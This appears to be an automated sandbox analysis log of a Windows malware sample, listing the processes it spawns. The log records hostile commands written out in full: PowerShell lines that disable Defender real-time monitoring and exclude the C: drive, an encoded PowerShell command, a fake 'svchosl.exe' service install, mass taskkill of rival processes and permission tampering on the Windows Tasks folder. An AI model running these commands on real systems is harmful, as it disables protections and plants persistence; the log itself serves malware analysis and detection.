Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v4.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nl.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "WerFault.exe")
Source: C:\Windows\SysWOW64\icacls.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wrm_modul_v2.exe")

Source: C:\Users\123.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: taskkill.exe, 00000068.00000002.2750786952.0000000003497000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "IntelConfigService.exe")M;.EXE;.BAtto
Source: taskkill.exe, 00000068.00000003.2750103431.0000000003497000.00000004.00000020.00020000.00000000.sdmp, taskkill.exe, 00000068.00000003.2749810130.0000000003497000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "IntelConfigService.exe")M;.EXE;.BA
Source: taskkill.exe, 0000006B.00000002.2760463424.0000000000C71000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Wmiic.exe")Co$$;8
Source: file.exe, 00000000.00000002.3280784216.0000000004D91000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004D7B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004E0E000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3285742985.0000000005946000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004EB7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004E24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\123.exe "C:\users\123.exe"
Source: C:\Users\123.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\programdata\MicrosoftSystem\run.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\MicrosoftSystem\Wmiic.exe "C:\programdata\MicrosoftSystem\wmiic.exe" install MicrosoftESS svchosl.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe TIMEOUT /T 1 /NOBREAK
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\MicrosoftSystem\Wmiic.exe "C:\programdata\MicrosoftSystem\wmiic" start MicrosoftESS
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe TIMEOUT /T 2 /NOBREAK
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\MicrosoftSystem\Wmiic.exe C:\programdata\MicrosoftSystem\Wmiic.exe
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Process created: C:\ProgramData\MicrosoftSystem\svchosl.exe "svchosl.exe"
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\ProgramData\MicrosoftSystem\svchosl.exe "svchosl.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net start MicrosoftESS
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 start MicrosoftESS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v2.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\mig.exe "C:\users\mig.exe"
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath c:\
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIABzAHQAbwBwACAAdwBtAHMAZQByAHYAaQBjAGUACgB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAIAAvAGkAbQAgAG0AaQBnAHIAYQB0AGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAASQBuAHQAZQBsAEMAbwBuAGYAaQBnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAATQBTAFQAYQBzAGsALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAUwB1AHAAZQByAGYAZQB0AGMAaAAuAGUAeABlAAoAdABhAHMAawBrAGkAbABsACAALwBmACAALwBpAG0AIABXAG0AaQBpAGMALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAVwByAGEAcAAuAGUAeABlAAoAYwBtAGQAIAAvAGMAIAB0AGEAawBlAG8AdwBuACAALwBGACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzACIACgBzAGMAaAB0AGEAcwBrAHMAIAAvAGQAZQBsAGUAdABlACAALwB0AG4AIAAiAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIgAgAC8ARgAKAGMAbQBkACAALwBjACAAdABhAGsAZQBvAHcAbgAgAC8ARgAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAbQBpAGcAcgBhAHQAZQAuAGUAeABlACIACgBjAG0AZAAgAC8AYwAgAGQAZQBsACAALwBGACAALwBRACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABtAGkAZwByAGEAdABlAC4AZQB4AGUAIgAKAAoA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\net.exe "C:\Windows\system32\net.exe" stop wmservice
Source: C:\Windows\SysWOW64\net.exe	Process created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 stop wmservice
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im migrate.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im IntelConfigService.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im MSTask.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Superfetch.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Wmiic.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /f /im Wrap.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c takeown /F c:\windows\tasks
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\takeown.exe takeown /F c:\windows\tasks
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /delete /tn WindowsUpdate /F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c takeown /F C:\ProgramData\migrate.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\takeown.exe takeown /F C:\ProgramData\migrate.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c del /F /Q C:\ProgramData\migrate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v2.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp_modul_v3.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v3.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v3.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im ape_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im ape_modul_v1.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im full_rdp_modul_v1.exe
Source: C:\Users\mig.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\programdata\ru.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /K "c:\programdata\st.bat"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im rdp.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FI "IMAGENAME eq Superfetch.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe find /I /N "Superfetch.exe"
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v4.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im wrm_modul_v4.exe
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im nl.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im nl.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\takeown.exe takeown /f c:\windows\tasks
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe TIMEOUT /T 3 /NOBREAK
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im WerFault.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im WerFault.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableRealtimeMonitoring $True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -ExclusionPath c:\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "S-1-1-0:(R,REA,RA,RD)" "S-1-5-7:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "SYSTEM:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "Administrators:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "Users:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "user:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "user:(R,REA,RA,RD)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Windows\Tasks" /inheritance:e /grant "EVERYONE:(R,REA,RA,RD)"
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\123.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\programdata\MicrosoftSystem\run.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\MicrosoftSystem\Wmiic.exe "C:\programdata\MicrosoftSystem\wmiic.exe" install MicrosoftESS svchosl.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe TIMEOUT /T 1 /NOBREAK	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\MicrosoftSystem\Wmiic.exe "C:\programdata\MicrosoftSystem\wmiic" start MicrosoftESS	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe TIMEOUT /T 2 /NOBREAK	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net start MicrosoftESS	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Process created: C:\ProgramData\MicrosoftSystem\svchosl.exe "svchosl.exe"	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\ProgramData\MicrosoftSystem\svchosl.exe "svchosl.exe"	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v2.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im rdp_modul_v3.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v1.exe	Jump to behavior
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c taskkill /f /im wrm_modul_v2.exe	Jump to behavior
